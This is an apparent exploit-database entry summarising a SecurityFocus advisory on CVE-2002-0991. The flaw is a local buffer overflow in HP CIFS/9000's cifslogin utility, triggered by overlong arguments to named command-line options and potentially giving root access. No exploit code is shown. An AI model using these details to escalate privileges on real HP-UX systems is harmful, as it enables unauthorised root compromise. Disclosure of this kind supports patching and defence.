Description
HP CIFS/9000 Server A.01.05/A.01.06 Buffer Overflow Vulnerability. CVE-2002-0991 . Local exploit for hp-ux platform
source: http://www.securityfocus.com/bid/5088/info
A vulnerability has been reported in the /opt/cifsclient/bin/cifslogin utility distributed with CIFS/9000. The utility is prone to several buffer overflow conditions and may lead to root compromise.
The vulnerability occurs due to the lack of bounds checking when accepting user input for various commandline options. Specifically, the utility fails to check for excessively long arguments to the following commandline options: '-U', '-D', '-P', '-S', '-N', and '-u'.
